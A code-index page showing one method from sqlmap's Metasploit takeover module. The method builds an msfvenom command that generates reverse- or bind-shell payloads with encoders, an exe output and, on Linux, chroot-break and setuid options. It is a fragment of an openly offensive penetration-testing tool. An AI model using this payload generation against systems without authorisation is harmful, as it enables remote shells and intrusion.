MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / _forgeMsfPayloadCmd

Method _forgeMsfPayloadCmd

lib/takeover/metasploit.py:378–413  ·  view source on GitHub ↗
(self, exitfunc, format, outFile, extra=None)

Source from the content-addressed store, hash-verified

376 self._cliCmd += "; exploit'"
377
378 def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
379 if kb.oldMsf:
380 self._payloadCmd = self._msfPayload
381 else:
382 self._payloadCmd = "%s -p" % self._msfVenom
383
384 self._payloadCmd += " %s" % self.payloadConnStr
385 self._payloadCmd += " EXITFUNC=%s" % exitfunc
386 self._payloadCmd += " LPORT=%s" % self.portStr
387
388 if self.connectionStr.startswith("reverse"):
389 self._payloadCmd += " LHOST=%s" % self.lhostStr
390 elif not self.connectionStr.startswith("bind"):
391 raise SqlmapDataException("unexpected connection type")
392
393 if Backend.isOs(OS.LINUX) and conf.privEsc:
394 self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
395
396 if kb.oldMsf:
397 if extra == "BufferRegister=EAX":
398 self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
399
400 if extra is not None:
401 self._payloadCmd += " %s" % extra
402 else:
403 self._payloadCmd += " X > \"%s\"" % outFile
404 else:
405 if extra == "BufferRegister=EAX":
406 self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
407
408 if extra is not None:
409 self._payloadCmd += " %s" % extra
410
411 self._payloadCmd += " > \"%s\"" % outFile
412 else:
413 self._payloadCmd += " -f exe > \"%s\"" % outFile
414
415 def _runMsfCliSmbrelay(self):
416 self._forgeMsfCliCmdForSmbrelay()

Callers 1

createMsfShellcodeMethod · 0.95

Calls 2

SqlmapDataExceptionClass · 0.90
isOsMethod · 0.80

Tested by

no test coverage detected